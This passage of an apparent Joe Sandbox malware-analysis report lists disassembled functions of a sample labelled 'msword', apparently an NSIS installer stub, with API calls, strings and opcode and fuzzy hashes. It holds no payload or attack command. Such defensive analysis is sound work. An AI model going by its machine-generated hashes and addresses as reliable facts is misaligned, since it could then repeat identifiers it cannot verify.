                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Global$AllocFileFree$CloseDeleteHandleWrite
                                                                            • String ID: created uninstaller: %d, "%s"
                                                                            • API String ID: 3294113728-3145124454
                                                                            • Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
                                                                            • Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
                                                                            • Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
                                                                            • Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98
                                                                            Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
                                                                            • GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
                                                                            • WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
                                                                            • lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
                                                                            • lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
                                                                            • WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
                                                                            • String ID: RMDir: RemoveDirectory invalid input("")
                                                                            • API String ID: 3734993849-2769509956
                                                                            • Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
                                                                            • Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
                                                                            • Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
                                                                            • Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD
                                                                            Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
                                                                            • GetSysColor.USER32(00000000), ref: 00403E00
                                                                            • SetTextColor.GDI32(?,00000000), ref: 00403E0C
                                                                            • SetBkMode.GDI32(?,?), ref: 00403E18
                                                                            • GetSysColor.USER32(?), ref: 00403E2B
                                                                            • SetBkColor.GDI32(?,?), ref: 00403E3B
                                                                            • DeleteObject.GDI32(?), ref: 00403E55
                                                                            • CreateBrushIndirect.GDI32(?), ref: 00403E5F
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                            • String ID:
                                                                            • API String ID: 2320649405-0
                                                                            • Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
                                                                            • Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
                                                                            • Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
                                                                            • Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94
                                                                            Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C
                                                                              • Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                              • Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                              • Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                              • Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            • LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
                                                                            • FreeLibrary.KERNEL32(?,?), ref: 004024C3
                                                                            Strings
                                                                            • Error registering DLL: Could not load %s, xrefs: 004024DB
                                                                            • Error registering DLL: Could not initialize OLE, xrefs: 004024F1
                                                                            • Error registering DLL: %s not found in %s, xrefs: 0040249A
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
                                                                            • String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
                                                                            • API String ID: 1033533793-945480824
                                                                            • Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
                                                                            • Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
                                                                            • Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
                                                                            • Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D
                                                                            Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                              • Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                              • Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                              • Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                              • Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                              • Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
                                                                              • Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71
                                                                            • WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
                                                                            • GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
                                                                            • CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2
                                                                            Strings
                                                                            • Exec: failed createprocess ("%s"), xrefs: 004022C2
                                                                            • Exec: command="%s", xrefs: 00402241
                                                                            • Exec: success ("%s"), xrefs: 00402263
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
                                                                            • String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
                                                                            • API String ID: 2014279497-3433828417
                                                                            • Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
                                                                            • Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
                                                                            • Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
                                                                            • Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D
                                                                            Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
                                                                            • GetMessagePos.USER32 ref: 00404871
                                                                            • ScreenToClient.USER32(?,?), ref: 00404889
                                                                            • SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
                                                                            • SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Message$Send$ClientScreen
                                                                            • String ID: f
                                                                            • API String ID: 41195575-1993550816
                                                                            • Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
                                                                            • Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
                                                                            • Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
                                                                            • Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5
                                                                            Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
                                                                            • MulDiv.KERNEL32(0000E400,00000064,?), ref: 00403295
                                                                            • wsprintfW.USER32 ref: 004032A5
                                                                            • SetWindowTextW.USER32(?,?), ref: 004032B5
                                                                            • SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7
                                                                            Strings
                                                                            • verifying installer: %d%%, xrefs: 0040329F
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Text$ItemTimerWindowwsprintf
                                                                            • String ID: verifying installer: %d%%
                                                                            • API String ID: 1451636040-82062127
                                                                            • Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
                                                                            • Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
                                                                            • Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
                                                                            • Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58
                                                                            Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
                                                                            • wsprintfW.USER32 ref: 00404457
                                                                            • SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: ItemTextlstrlenwsprintf
                                                                            • String ID: %u.%u%s%s$@rD
                                                                            • API String ID: 3540041739-1813061909
                                                                            • Opcode ID: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
                                                                            • Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
                                                                            • Opcode Fuzzy Hash: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
                                                                            • Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679
                                                                            Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
                                                                            • CharNextW.USER32(?,?,?,00000000), ref: 004060AA
                                                                            • CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
                                                                            • CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Char$Next$Prev
                                                                            • String ID: *?|<>/":
                                                                            • API String ID: 589700163-165019052
                                                                            • Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
                                                                            • Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
                                                                            • Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
                                                                            • Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD
                                                                            Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
                                                                            • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
                                                                            • RegCloseKey.ADVAPI32(?), ref: 00401504
                                                                            • RegCloseKey.ADVAPI32(?), ref: 00401529
                                                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Close$DeleteEnumOpen
                                                                            • String ID:
                                                                            • API String ID: 1912718029-0
                                                                            • Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
                                                                            • Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
                                                                            • Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
                                                                            • Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29
                                                                            Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDlgItem.USER32(?), ref: 004020A3
                                                                            • GetClientRect.USER32(00000000,?), ref: 004020B0
                                                                            • LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
